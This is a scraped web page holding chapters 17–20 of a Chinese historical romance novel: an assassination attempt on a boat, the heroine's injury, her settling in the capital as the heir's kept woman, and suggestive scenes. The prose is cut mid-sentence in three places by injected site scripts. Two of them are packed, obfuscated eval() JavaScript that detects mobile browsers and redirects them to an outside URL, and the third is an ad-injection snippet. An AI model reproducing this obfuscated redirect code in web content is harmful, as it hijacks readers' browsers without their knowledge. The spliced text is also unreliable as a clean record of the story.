她抬起头,双眼晶莹透亮,“公子,我觉得我恨她,可又不想再恨她。” 她这话说得矛盾,周诩却听懂了。 “好,我明白了。” 他知道姜明月不是一个狠得下心的人。小春对于她,算得上亲人。在抚春楼那种地方,她身边只有小春。纵使小春如今变了,也不能否认她曾经的真心。可周诩不是一个心软的人,姜明月若是做不到,便由他来。 姜明月没有再问他要怎么做。 正巧红袖端了药进来,她想转移话题,便喊着药苦,缠周诩喂她。 “要我喂?” 周诩挑眉,意味不明地问。 姜明月双颊绯红,大着胆子点点头。 周诩伸手,揽住她的腰身,微微用力,便把人带到面前。 姜明月腰抵上身后的茶案,不由得向后仰身。周诩端起药,俯下身。 姜明月微微颤抖,想要闭上眼,却被周诩捏住下巴。 “张嘴。” “什么?——” 不等她反应,便感觉到唇上温热的药汤流了进来。她杏眼睁大,下意识地吞咽。 周诩面上带着温和如春风般的笑容,然而手上动作却不停,一点一点倾斜药碗,不至于让她呛到。 等一碗喝尽,他才松了手。姜明月轻咳一声,眼尾泛红。 “莫要贪玩让药失了药性。” 周诩将药碗放下,红袖连忙将剩下一点倒了进去。周诩还要去拿,连忙被姜明月拦住。 “我自己来……” 她不敢让周诩再喂,乖乖喝完了药。她将药碗递给红袖,刚要去拿蜜饯,却被周诩抵住。 许久,她的眼尾红了一片。等周诩松开她时,她微微喘着气,双唇嫣红,如她的双眸一样透着水光。 红袖早就端着东西出去了,之后便守在廊下,等世子走了才敢进去。 “红袖!” 红袖刚要推门,便听到江嬷嬷的声音。她回头,见江嬷嬷神情严肃地走了过来。 “世子……在里面吗?” “世子刚走。” 江嬷嬷点点头,神色复杂,“行了,那你进去吧。” 她想了想,便往前院走去。果然,她在书房前见到了随安。 “世子在里面吗?我有事要禀告世子。” 随安点点头,江嬷嬷走进书房,见从枫也在里面。 她看了一眼从枫,周诩会意,让从枫先下去。 “世子,姜娘子……问女医要了避子汤。” 周诩闻言,眯起双眼。 “她要了避子汤?” 17. 回京 “……是。” 未经主家允许,私自避子是重罪。江嬷嬷虽然被派去照顾姜明月,可她的卖身契在周诩手上,严格来说,她只听命于周诩。遇到这种事,她拿不定主意,便不敢隐瞒。 周诩沉默了许久,手落在桌子上,指尖轻点桌面。 江嬷嬷垂着头,微微抬起眼去看他的表情。世子脸上看不出恼怒,只是面色凝重,一副若有所思的样子。 许久,他手上的动作停下,漫不经心地说道:“既然她想,那就随她去吧。” “是。” “你的卖身契我会拿给她,以后姜娘子就是你的主子。” 江嬷嬷自然没有异议。她心中松了口气,这样也好,她今后便不用时时向世子禀报姜娘子的事了。这种监视人的事,她可做不来。 江嬷嬷欲告退,周诩却又突然出声。 “嬷嬷,她入京后,就交给你了。” 江嬷嬷一顿,有些意外。 她抬眼看向周诩,可周诩已经垂下眼,不再说话。江嬷嬷笑了起来,她应了一声,“世子放心,奴婢一定会照顾好娘子的。” 她原是先夫人的陪嫁丫鬟。先夫人去世后,她也不愿意在侯府上呆着了,便主动来了江南。如今世子这般称得上郑重地将姜娘子托付给自己,她替世子高兴,也不愿辜负他的信任。 只是再见到回京的船只时,江嬷嬷还是有些恍惚。 一晃多少年,她都没有离开吴州。 “这船真大!” 红袖扶着姜明月下了马车。她虽是土生土长的吴州人,却从未离开过吴州,自然也没有机会见到大船。 江嬷嬷回神,见红袖一脸惊讶不由得好笑。她回身,取了披风替姜明月披上。 “娘子将披风穿上吧。船上不比陆地上,若是阳光照不到,便阴冷得不行。” 姜明月弯唇,“多谢嬷嬷。” 她转头,看向眼前的景色。 她与红袖不同。虽然她也并未离开过江南一带,可是她却见过这样的场景。 那一天,她第一次见面的舅舅,便是坐着这样的船,带走了她的母亲。 她从未想过自己会有一日离开吴州。若是去了京城,她会再见到母亲吗? 愣神间,青鸳走到她面前,“娘子,先上船吧。世子马上就来。” 姜明月见到她有一瞬出神。似乎有好一段时日没见到青鸳了,与上次见到的她不同,青鸳又恢复了初次见面的模样。她笑容得体,垂着眼,不卑不亢。 姜明月对她谈不上喜欢,却也没什么太大的仇恨。她点点头,跟着青鸳踩上踏板,上了船。进船舱前,她忍不住回头,看了一眼远处的吴州城。 身旁,江嬷嬷轻声道:“娘子,外面风大,先进去吧。” 她的房间就在周诩的旁边,房中布置十分简单,只有一张小床和一张书案。窗外水浪拍打船身,姜明月听了一会,却觉得有些头晕。 她心中暗道不好,她知道,自己恐怕有些晕船。若是晕船,这一路便会过得十分幸苦。 红袖没有经验,她见姜明月脸色不好,只能干着急。江嬷嬷有经验,去端了一盘甜姜来,“娘子若是怕晕船,先吃点姜试试。” 或许是因为头还有些晕,姜明月吃了姜,便忍不住倚在床上,听着水声睡了过去。江嬷嬷与红袖见了,轻手轻脚退出房间。 刚出门,二人见到周诩正坐在甲板的茶案上看书,便上前行礼。 “娘子歇下了?” 周诩听到声音,目光依旧落在书卷上,淡淡问道。 “是,娘子似乎有些晕船。” 周诩叹了口气,“我知道了。你们也下去休息吧。” 姜明月一觉睡到了天黑。等她醒来时,窗外已是漆黑一片。房内没有点灯,姜明月借着月光,推开房门。 走廊上点着灯,微弱的烛火在风中摇曳。姜明月站在船边,冷风吹过,她觉得睡意消减,清醒了许多。 她转头,见周诩房中也已经熄了灯。 若是公子怪罪,她便说是夜深走错了。 姜明月踟蹰片刻,深吸一口气上前,轻轻推开了他的房门。 房中同样漆黑一片。姜明月摸黑走到床前,见周诩正平躺在床上。月光下,她隐约能看见他闭着双眼正在熟睡。算起来,这是她第一次见到周诩的睡颜。 平日里,周诩的桃花眼总带着笑意,让人不由得忽略他的薄凉。然而此时他闭着眼睡着,却无端透着几分凌厉。 姜明月望着他,见他确实睡着了,不会看到自己的一举一动,心中松了口气,抿了抿唇,伸手解下外衫。 衫裙落地,姜明月掀起被衾的一角,钻了进去。 她一侧头,便能看见男人的侧脸。月光下,他眼下的小痣隐在睫毛下,更加明显。 周诩从门被推开的那一刻便醒了。 他没有动,继续假寐,想看看这小娘子会做什么。 忽然,他感觉眼下一凉。 姜明月忍不住伸手,略微有些冰凉的指尖轻轻碰了碰那颗小痣。 那动作若有若无,周诩浑身一僵,只觉得脸上被她碰到的地方都开始发痒,平白撩起一身燥意。 周诩忽然睁开眼,抓住那只作乱的手。 不等姜明月出声,他翻身,支起上半身,似笑非笑地看着她。 “不是说晕船吗?” 黑暗中,姜明月张了张嘴却出不了声,双颊通红。 因为床塌窄小,她的青丝铺开,随意搭绕在他身上,像是要将他缠住。 黑暗中,姜明月只能看到他幽暗的双眸,如隐藏在黑暗中的猛兽。 姜明月不知怎么,蓦地有些害怕。 “休息了一会,便好多了……” 她移开眼,喃喃道。 说着,她想起身,却见周诩神色突然一凝,按住她的肩膀,对她摇了摇头。 姜明月不明所以,却也不敢再动。 忽然,她感觉眼前有一道白光闪过。姜明月不知从哪来的力气,飞快将周诩推开。黑衣人没料到房里会有第二个人。他一刀刺空,还想再动手,却被周诩抓住手腕。 黑衣人自知不妙。一击不成,他便没了先机。他转身想跑,周诩却不肯给他机会,直接将他按在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746199|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不料这时,窗外又窜进第二个人,提着刀朝周诩后背砍去。 姜明月原本被周诩护在身后,此刻对这第二个黑衣人的举动自然是看的一清二楚。她心中一紧,管不了其他,下意识扑向他。 刀刃刺破她的肩膀,姜明月因着惯性,忍不住跌坐在地上。 而这时,听到动静的随安等人也匆匆赶来了。黑衣人一看,知道他们这次没了胜算,便咬了咬牙,忽然朝姜明月伸手。 姜明月来不及回头,一道寒风袭来,她感觉肩头一痛,伤口被人抓住,下一瞬,自己的脖颈上便被刀刃抵住。 “放我走!不然我就杀了她!” 姜明月被他钳制着,强行转过身。她吃痛地惊呼,泪水不受控制地涌上来。 朦胧间,她看见周诩提着长剑,从房中不紧不慢地走出来。 他脸色阴沉,桃花眼死死盯住姜明月身后之人,长剑在地上刮出一道拖痕。 姜明月愣愣地望着他,觉得眼前的人有些陌生,可又无比安心。 黑衣人忍不住手上一用力,姜明月白皙的脖颈上便出现一道血痕。 周诩停住脚步,目光从她那道刺眼的伤口扫过,与黑衣人对视。 “放开她。” “放我走,我就放了她。” 周诩笑了一声,似乎有些无奈,“你走可以,先把人放了。” 他手一松,长剑落地。 黑衣人见他松了剑,心中稍定。他向后退了几步,余光朝水里看了看,接着猛地将姜明月朝周诩的方向推了出去。 姜明月被周诩护在怀里。他单手搂住姜明月,将她按在怀里。紧接着,姜明月就听到一声惨叫。 她下意识想朝着声音的方向看去,却被周诩紧紧搂住。 他轻声道:“别看。” 她一愣,这才反应过来发生了什么。 周诩望着躺在地上的黑衣人,目光冰冷。 一把匕首插在他的背上,血水涌了出来。黑衣人的双眼睁大,似乎不敢相信周诩明明放下了长剑,却还会动手。 随安此时也已经将房中的黑衣人捆好。看见地上的黑衣人,随安蹲下身,探了探他的鼻息。 他朝周诩点点头,周诩颔首,“带下去。” 随安会意。世子还要审这些人的来历,自然不能让他死了。 等都收拾好了,周诩才放开姜明月。他低头,见她脸色发白,双手抓着衣襟微微颤抖。她白皙的脖颈上,鲜血还在滴滴答答地淌着。同她肩膀上的伤口一般,显得无比狰狞。 得了消息赶来的江嬷嬷和红袖见状也吓得不轻,连忙上前扶姜明月进房里包扎。 “娘子,你怎么伤成这样……” “我也不知道……好像,我又给公子添麻烦了。” 姜明月笑了笑,神情却茫然。她想,凭公子的功夫,刚才想必是可以躲开的,可自己却偏偏不受控制。 红袖在一旁眼睛也红红的。她端来了纱布和药酒。船上没有大夫,包扎伤口便要他们自己来。 她刚想替姜明月上药,就见周诩走了进来。 “我来吧。” 18. 安置 江嬷嬷与红袖对视一眼,躬身退了出去,让出姜明月身前的位置。 周诩弯下身,开始检查她的伤势。他受过的伤见过的伤数不胜数,包扎伤口自然比旁人更熟练。她脖子上的伤不重,重的是她肩膀上的伤。那一刀原本是冲着他来的,想要他的性命,如今硬生生被小娘子受了,虽不致命,可也深得厉害。 虽也想怪她逞强,可他终究心中一软,小心翼翼地剪开她的衣衫替她上药。 姜明月虽不是没有吃过苦,可是如此重的伤口确实从未有过。她紧紧咬着下唇,浑身却忍不住颤抖。药酒碰到伤口时,她终于没忍住,眼泪落了下来。 温热的泪水滴在周诩的手上,他一顿,抬头看来。 对上他担忧的目光,姜明月再也忍不住,双眼通红。她抽了抽鼻子,怯怯开口道:“公子,我是不是给你添麻烦了?” 周诩摇摇头,敛下眼中复杂的情绪。他将纱布缠在她肩上,“你救了我一次,怎么会是添麻烦。这次……是我连累了你。” “那就好,那就好……”姜明月喃喃地念着,“公子没事就好……” 她探身,依偎进周诩怀里,额头抵住他的肩头。感受到周诩并没有拒绝,轻轻环住自己,姜明月暗暗松了口气。 若是周诩这次能念她的情,她进了京之后也能好过一些吧。 周诩对她好不假,可是她看得清楚,他是个极薄凉之人,就算是有了肌肤之亲,可他们之间的关系却并没有太大变化。 水声潺潺,船离吴州越来越远。姜明月的晕船不见好,加上受了伤,瞧着愣是瘦了一圈。她虽然身体虚弱,可精神却够,每日不是去看周诩几人垂钓,便与红袖一起听江嬷嬷讲京城的事。 只是垂钓确实无聊。周诩将鱼竿架起,便取了书籍在一旁看,而那水晶鱼缸也被挪了出来,就在一旁放着。 “公子……喜欢垂钓吗?” 姜明月看了几日,实在不解。她披着披风,戴着兜帽,将自己裹得严严实实,凑周诩身边,轻扯他的衣袖。 周诩翻页的手被她扯住,索性停下。他抬起头,看着不远处的鱼竿。随安正坐在他自己的鱼竿前,全神贯注地盯着水面,而他的鱼竿在旁边看着孤零零的。 “谈不上喜欢不喜欢。权当练习吧。” 京城不知道什么时候开始,流行起了垂钓。往日是去茶室下棋,现在都在湖边垂钓。周诩知道,皇帝前些时还命人在太液池放了许多鱼进去。 姜明月半知半解地点了点头。 周诩不怎么跟她说京城的事,许多事都是江嬷嬷告诉她的。她也是从江嬷嬷口中,才知道了周诩原来是武昌侯世子,而现任武昌侯夫人是他的继母。周诩和他继母的关系并不好。江嬷嬷告诫姜明月,不要随便在世子面前提起武昌侯夫人。 姜明月自然没有异议。她这样的身份,本来和武昌侯夫人也不会有太多交集。 回京的船在水上漂了许久,就在姜明月觉得自己再吃河鲜就要吐了的时候,远远的,她终于看到了京城高耸的城池。 和吴州极像,只是京城的城墙更加高大。远远望去,城中的亭台楼阁层层叠叠,青砖灰瓦,比江南更加气势恢弘。 姜明月正望着远处的景色出神,身后,随安走到周诩身边,小声耳语。 “世子,老夫人派了人来接您。” 周诩点点头。他知道自己离京这么久,祖母肯定想念。 “那姜娘子……” “安置在东街的别院就是。” 随安会意。周诩虽然住在武昌侯府,可身为世子,手上的私产自然少不了。东街离大理寺最近,周诩平时需要连夜审案,便会在东街的别院住下。将姜娘子安置在那,就是要常与她见面了。 既然这么在意姜娘子,难道世子要让她当一辈子外室不成?若是之后世子成亲了怎么办呢? 随安还记得世子让他调查的户部尚书之女,那是侯爷中意的儿媳。 他掩下思绪,想起世子的吩咐,上前喊住姜明月。 “姜娘子,世子请您去一趟他的房间。” 姜明月一愣,接着点点头,朝周诩的房间走去。 周诩房间的门半掩着。姜明月没想太多,敲了敲门,接着伸手推开房门,“公子,你——” 话没说完,剩下的声音卡在喉咙里,姜明月怔怔地看着眼前的一幕。 周诩正对着她,垂下眼,白色的内衫领口微乱,外面罩着暗红色的锦袍。阳光下,他不紧不慢地将圆领袍的搭扣系上,站起身,一身艳色官服将他衬得愈发眉眼如玉,清风朗月。 “公子你找我……” 姜明月回过神,面上飞满红霞。她定了定神,目光四下看了看,接着上前拿起一旁的蹀躞带,“公子怎么不叫我来帮你更衣?” 周诩见到她也有些意外。他先是一愣,接着又见她红着脸,跃跃欲试拿着他的腰带想要上前,眯了眯眼。 他笑了一声,站定不动,“那便劳烦你了。” 她的眼睫颤抖,走上前,伸出双臂环住他精瘦的腰。 “等进了城,我要先进宫一趟。你跟随安去安置便是。” “我知道了。” 他似乎是在解释自己为什么是这幅打扮。姜明月自然无权置喙,她柔声应下,乖顺至极。 然而她似是有意为之,偏要以这样的姿势,在他身后系那带子。周诩能感受到她将自己柔软的身体贴上他的,自己若是稍稍俯下身,便能将她抱在怀中。 姜明月磨蹭了半天,将蹀躞带系好。她抬起头,目光盈盈,像是在等周诩的夸奖。 周诩桃花眼中闪过微光。 他抬手,指尖抚过她的长发。 “明月做得真好。” 他慢悠悠地说着,态度宛若对待他别院中的那些小猫小狗。然而姜明月却不知道这些。眼下,她听到周诩的话,只觉得脑中“嗡”得一声,脸上也瞬时热了起来。 她向后退了两步,手足无措地不敢去看他。 周诩不是没有这样叫过她,只是那次,是他将自己搂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749865|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里,自己早就没了力气,只能趴在他身上,任由他钳住自己的腰身。而他轻笑一声,带着几分恶劣地附在自己耳边低声问,“明月,要不要让你的婢子进来?” 她从前竟不知,公子还有这样一面。 姜明月感觉到周诩的目光还落在自己身上,就在她张了张嘴,不知该说些什么的时候,门外响起了随安的声音。 “世子,船靠岸了。” 姜明月松了口气。不等周诩说话,她逃也似的推开门,“公子,咱们走吧。” 码头在京城的城郊,要进城还要再坐一段时间的马车。随安带着姜明月上了早就备好的马车,姜明月朝外看了看,“公子不跟我们一起吗?” 随安顿了顿,“世子直接进宫,所以不与娘子一路。娘子先回去休息吧。” 姜明月点点头,放下车帘。 不远处,周诩转头,看着马车缓缓驶离后,收回目光。 “世子,您在看什么呢?” 武昌侯府的管家好奇地朝他看的地方看了看,却也没看到什么特别的。 “无事。”周诩笑容不变,“走吧。” “是。请世子上车。”管家躬身掀起车帘,等周诩上了车,他才朝车夫一挥手,一行人浩浩荡荡地朝京城行进。 “世子,怎么没见到随安?” 管家对世子身边的几个侍卫都认识,见到少了人,他不免好奇。 “自然是因为他有事去做。” 周诩声音淡淡,管家却听出了冷意,他一凛,知道世子是不喜自己多问了。 可他身为管家,若是不弄清楚世子的一举一动,只怕侯府几位主子会对他不满了。想起府中几位主子对事事都要过问的性子,管家心中也发苦。 管家咽了口口水,接着问:“那世子现在是要回府还是……” 他见周诩一身官服,不像是要回府的架势。果然,听到周诩说要进宫,管家点了点头,“那奴才等在宫外等您。” 车内,周诩闭了闭眼,没说话,默认了管家的安排。 回府也好,让他将府内的事情处理完再说。 武昌侯府的马车浩浩荡荡直奔皇宫而去。随安驾着一辆不起眼的马车,等前面的车队过去了,才顺着小巷往东街方向驶去。 车外渐渐安静了下来。不久,马车便停了下来,随安跳下车,“姜娘子,我们到了。” 红袖和江嬷嬷先下的车。江嬷嬷抬头一看眼前的院子,目光沉了沉,看向随安的眼中也带着复杂。 随安低下头。 姜明月被红袖扶下车。她站定,打量着眼前的院子。 院子在幽静的巷子里,两边都是院宅高墙,看不见来往的行人。院门上挂着“唐府”的匾额。 江嬷嬷侧头看了看她,发现她眼中并无不满。 “随公子,公子今晚会来吗?” 随安张了张嘴,这种事,他也不敢确定。 姜明月没有为难他。她了然地点点头,对他笑笑,“没事,咱们先进去吧。” 19. 武昌侯府 这是个三进院子,一进门,便能闻到各种花草的香气。江嬷嬷越走越能确定,这是当初先夫人陪嫁留下的院子。 她很快也明白了为什么周诩要选择这处,因为周诩名下添置私产少不了被府里人过问过,而先夫人的嫁妆则无人敢动。 只是为何要让姜娘子做外室? 江嬷嬷不理解。凭世子的能力,若想纳个妾室又有何难?若说顾虑姜娘子的出身,他常年不近女色,老夫人说不定还更乐意他有妾室服侍。 世子明明对姜娘子不同,可做外室终究只能是个玩意,姜娘子心里会怎么想? 姜明月并不意外。 离开抚春楼的那一天,她就与公子说过了。不管是妾室还是外室,她都会尽心服侍他。 对于她来说,二者没什么区别。像她这样的出身,做个外室反而更轻松。 她有公子的宠爱,能自己一个人住在这院子里,不必担惊受怕,不是更好吗? 所以她兴致勃勃地打量起这院子。 “娘子先去世子的房中休息一会吧,娘子的房间很快就收拾出来了。” 姜明月没有立刻答应。她沉吟片刻,才道:“不用了,我刚好就在这院中休息一会,待会直接回房就是。” “……是。”随安好奇地看了她一眼,却没有再劝。 江嬷嬷想要先去帮着布置房间,便于随安一同离开了。等二人走后,红袖好奇地上前,问姜明月。 “娘子,为什么不去世子的房中?” 在她看来,这便是世子亲近信任娘子的表现啊。 姜明月托着下巴,目光不知落在什么上面,在看什么。听到红袖的问题,她皱了皱眉,不知怎么与她讲才好。 “公子体贴,自然是好事。可我若是因此失了分寸,那才不好。” 公子待她太好,与公子离得太近,她怕自己会失了对自己的控制。 “公子过来时,我再去就是。” 红袖听不明白。可她不过是好奇,既然娘子有自己的打算,那自己肯定支持就是。 虽然她本来是世子的丫鬟,但常年呆在吴州,连世子的面都没见过几次。与她来说,姜明月才是自己的第一个主子。 别院中人本来就不多。此时院中静悄悄的,阳光落在人身上,暖洋洋的,让人不由得放下戒备。 姜明月浸在阳光中,朱唇粉面,双眸半阖,睫毛微颤。从红袖的角度,还能看见她晶莹几乎要透光的双瞳。 好一会,她听见姜明月的声音,“红袖,避子的方子……你还带在身上吗?” 红袖点了点头,又想到姜明月可能看不到,“带着呢……娘子放心。” 蓦地,院外传来一阵喧哗。 有人追赶的声音,还有人被撞到发出的惊呼。 “将军!将军你站住!” 将军? 姜明月一愣,难道是谁闯进来了吗? 她连忙起身,还不等她转过身,忽然腿上一沉。 姜明月低头,对上一双圆溜溜的眼睛,和一张毛茸茸的狗脸。 “……将军?” 她将这不过她小腿一般高的小白狗抱了起来。 “汪!” 小白狗叫了一声。 “娘子恕罪,这是世子……”那下人从后面匆匆赶来,见姜明月面色如常,没有受到惊吓,松了口气,连忙解释道,“放在府里的狗。” 他本想用“养”,可是世子的态度实在不像真的在养这狗,反而对它有些嫌弃。 “我知道了。” 姜明月伸出手,小心翼翼地摸了摸它的头,见它下意识地蹭了蹭自己掌心,也忍不住笑了起来。 “将军的名字,也是公,是世子取的吗?” 周诩不知道这小白狗干的好事。进宫与皇帝汇报完江南之事后,他便回了武昌侯府。 武昌侯老夫人许久没见孙子。得了信后,她便让一家人都到她的岁安堂来,等周诩回府。 武昌侯是老夫人的长子,除此之外,老夫人还有两个庶子,一个嫡出幼子。 老夫人对庶子自然没什么好脸色。武昌侯都继承了爵位,他们这些兄弟早就该分家出去了,然而老武昌侯临死前还摆了老夫人一道,硬是让成了年,生母在世的庶子,记到了老夫人名下。 武昌侯府三老爷这是老武昌侯最疼爱的儿子,他也知道这儿子没本事,若是还没有长兄的庇护,该怎么活! 二老爷沾了三弟的光,也一起被记成了嫡子。 这可把老夫人恶心得不行,然而没有办法,武昌侯府没分家,两个庶子也照样还留在府中,享受着武昌侯府的头衔。 既然他们要分自己长兄幸苦挣来的钱,自然也不能白吃白拿无所贡献。 周诩下了马车,便见到自己的二叔站在大门口。 他微微挑眉,心中明了,然而面上却不显,只露出笑容。 “二叔怎么在这?” 消瘦的中年人看上去温文儒雅。他拿着块帕子,正在擦汗,也不知是虚汗还是热汗。见到矜贵的青年从马车上下来,他顾不得其他,小跑上前。 “呦,咱们世子回来了!这一路幸苦了,我做叔叔的自然要来接你啊。” 他想去拍周诩的肩膀,被他不着痕迹地躲开。二老爷也不生气,哈哈笑着,领周诩进去。 “你祖母可想你了。你这一走啊,她身体就不太好,也没什么精神头。” “是吗?那要多谢二叔这些日子对祖母的照顾。” 二老爷看着周诩真切的笑容,一噎,讪笑几声。 他不知道周诩刚回来,知不知道他儿子做的那些混账事。老夫人前些天得了信,气得可不轻。 “咳,快进去吧,都等你呢。” 丫鬟撩起门帘,周诩进了正堂。 “孙儿周诩给祖母请安。” “诩哥儿——” 老夫人声音颤抖,从位置上站起来,想要来拉他。 “母亲小心。左右诩哥儿回来了,您也不用着急。” 老夫人身边坐的美貌妇人温声开口。 她头戴珠钗,身穿深色衣裙,将姣好容貌带的几分轻浮生生压成了端庄大方。见周诩朝她看来,她和蔼地笑了笑,“诩哥儿一路幸苦了吧?你不在,谚哥儿天天喊着要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长兄呢。” 周诩对她笑笑,“劳夫人挂心。” 他走上前,任由老夫人拉住他。老夫人不住地问他在江南辛不辛苦,一路累不累。 等到她说了一会话,精神不太好了,才停下,但还是叮嘱周诩,“今晚就在祖母这用膳。” 周诩自然应下。他起身告退,众人也不敢打扰她休息,纷纷退了出来。 “大哥这次去江南,怎么样?” 周诚是二房出身。在老夫人面前他不敢出声,出了岁安堂,他就活了起来,凑到周诩身边,挤眉弄眼。 “你指什么?”周诩一顿,桃花眼眯起,转头看向他。 “大哥不是知道我在问什么吗?当然是江南的姑娘啊。我听说那边的姑娘温柔似水,都是水做的一般。身姿婀娜,巧笑倩兮——” 周诩目光微动,不知道在想什么。 半晌,他的笑容愈发和善,“你想知道?” 周诚望着堂兄笑眯眯的样子,忽然浑身一抖,想起了自己堂兄是个什么样的人。 就是天塌了,他也不会知道江南姑娘的好。 “大哥,我错了,我错了。大伯找你,我就先走了……” 他远远地见到武昌侯身边的随从朝这边走过来,便脚底抹油,忙不迭地走了。 “世子,侯爷找你。” 周诩来到书房,见武昌侯正坐在书案后处理公务。武昌侯的书房专门设计过,坐在书案后,书案前的人便看不清他的神色,只能听到他严肃的声音,整个书房压抑无比。 周诩早就习以为常。他与父亲见礼后,便自顾自在圈椅上坐下来。 武昌侯找他,除了照例询问他去江南这一趟公务,还问起了自家夫人拜托他的事。 他停下手上的动作,身子向后靠在椅背上,略有些疲惫。 “那表姑娘,你找到了吗?” 周诩眉头微蹙,垂下眼,“我……” “吞吞吐吐成什么样子!” “是,父亲。我已派人寻遍吴州周边县城,并没有找到表姑娘。” “他们那种条件的人家,在一个地方怕是八百年都不会离开。”武昌侯沉吟道,“怕是洪灾之故,才断了消息。罢了,继续找着吧,也算给你继母一个交代。” “是。” 周诩面色如常,恭敬应下,只有敛下的眼中晦涩不明。 晚膳时,老夫人在岁安堂摆了宴。等众人用过晚膳,出来时,早已夜靜更深。 周诩站在廊下,抬头望着漆黑的天际。月光朦胧落在他身上,而他的神色却被隐在夜色中。 “世子。”随安上前,低声道,“侯夫人派人来说,您的院子都收拾好了。世子今晚……” “是吗?那走吧。” 他语气淡淡。随安听不出他心中的打算,只得跟上。 到了院中,周诩毫不意外地见到继母身边的嬷嬷正笑容满面地站在原地。他微微勾唇,朝那嬷嬷颔首,“替我多谢夫人。” 嬷嬷看着他走进房中后,才转身朝正院走去。 然而她走后,便有黑影跃上墙,离开侯府,消失在夜色中。 20. 深夜 姜明月与将军玩了一下午,竟也没去想周诩。等夜深该摆膳了,她才想起来,不知公子今夜会不会来。 她等了两个时辰,等到过了饭点,才敢确定,周诩确实不会过来了,便自己用了晚膳。晚膳后,她才去洗漱,之后便爬上床榻,准备休息。 京城比吴州要冷些,姜明月将被子拉到脸上,侧身蜷缩着,只露出一双盈盈水眸。她翻身,长发如上好的绸缎垂下,偷偷跟着她进来的将军忍不住去追她摇晃的发尾。 “娘子,我把将军抱出去吧。” 红袖正在帮她整理床帐,差点被将军绊倒,忍不住嗔了它一眼。 红袖想去抓它,然而它似乎看出了她的意图,躲来躲去,就是不肯让她靠近。红袖见它在脚踏上打转不愿离去,只得作罢。 将军圆溜溜的眼睛转动,不去看她,反而呜咽着凑到姜明月面前。 “便让它陪我睡吧。” 姜明月摸了摸将军,让它在脚踏上卧下。 红袖熄了灯,只剩一两盏灯还亮着,发出微弱的暖光。姜明月躺在床上,不一会便迷迷糊糊睡了过去。 忽然,她隐隐约约,感觉脸上有凉风拂过。姜明月一激灵,从睡梦中惊醒。她睁开眼,就见床帐被人掀起,一个修长的身形走了进来。 趴在她脚踏上的将军耳朵动了动,支起身子,冲着那人刚要叫,却见他摇摇头,“嘘”了一声。 “将军,收声。” 将军就像被掐住脖子,叫声一下子收了回去。它认出了来人,站起来摇着尾巴扑了上去。 周诩俯下身,摸了摸那小白狗。 “我还以为你这么快就把我给忘了。” 他站起身,看姜明月还愣愣地望着自己。她睡得脸红扑扑的,红唇微张,杏眼圆睁,似是还没反应过来。 “难不成真把我忘了?” 姜明月愣了一会,才反应过来他这句话是对自己说的。见周诩眼中带笑,饶有兴致地望着自己,她抿了抿唇,轻哼了一声。 “没想到公子这么晚了还会来罢了。” 说着,她伸手,悄悄拉住周诩的衣袍。周诩已经换了早上那身官府了,可看上去依旧风尘仆仆。 姜明月知道他是专程赶回来的。 她下意识摸上自己的心口,那里跳得极快。 周诩笑笑,温声道:“实在脱不开身。” 他在一旁的圈椅上坐下,随手倒了杯茶。 “公子,那茶已经凉了——” 姜明月想要阻止他,无奈他毫不介意,已经仰首将茶灌了下去。 “以后茶凉了便让她们换下去。” 姜明月只得点点头,“我晚上不喝茶……” 所以才没让她们时刻备着热茶。 周诩一愣,接着有些无奈。 “我并非怪这茶是凉的。只是怕你喝凉茶对身子不好。” 姜明月听着,脸又一点一点红了起来。 她抖了抖耳朵尖,往被子里缩了缩。 “多谢公子关心……” “汪!”一旁无聊的将军见姜明月动了,低低地叫了一声。 “没想到,你和它关系居然这么好了。”周诩弯了弯唇。 “将军喜欢我。”姜明月有些自豪地挺了挺胸。她双眸亮晶晶的,扭头与将军对视。 周诩看着一人一狗,没说话。半晌,他仿佛带着几分好奇和探究,开口。 “怎么没去我的院子?” 姜明月转头,与他对视。 “反正这别院除了你我也没有其他人,为何不直接同我一起住?” 他的桃花眼注视着姜明月。尽管是在黑夜,借着房内微弱的烛光,姜明月也能看到他目光灼灼。她张了张口,没出声,最后低低地道:“听随安说有准备我的房间……” 她抬眼去看周诩,眸子湿漉漉的,像是含着委屈。 周诩双眼微眯,“他是这么说的?” 他记得,自己当时不是这么与随安吩咐的。 “嗯……” 姜明月胡乱点了点头。她不想继续这个话题了。咬了咬唇,对上周诩幽深的眼眸,她半跪着直起身,赤着脚下了床, 她穿着轻薄的衫裙,从温暖的被衾里离开便忍不住缩了缩肩膀。然而她脚下不停,走到周诩面前,伸手拉住男人。 周诩不得不伸手接住她。还不等他开口,姜明月便娇娇地唤了他一声,声音还有些颤抖。 “……将军,出去。” 月光下,小娘子攀上男人的肩膀,搂住他的脖颈。不知何时,她头上松松系着的头绳掉落在地上,青丝落下,将怀中的人罩住。年轻公子仰起头,小臂扣在她的肩头,线条流畅,指尖轻轻落在原本光滑如玉的肩头那一道还未褪去的伤疤上。 “公子……” 姜明月感到有泪水从眼角落了下来。 周诩没说话,只是抱紧了她。 若是他们之间能一直如此就好了…… 沉浮间,姜明月迷迷糊糊地想到。很快她便顾不得其他,只能紧紧抓住身前的人。 第二天,等姜明月再醒来时,天光已然大亮。 她挣扎地起身,却发现身边的床塌空空,已经没了旁人。 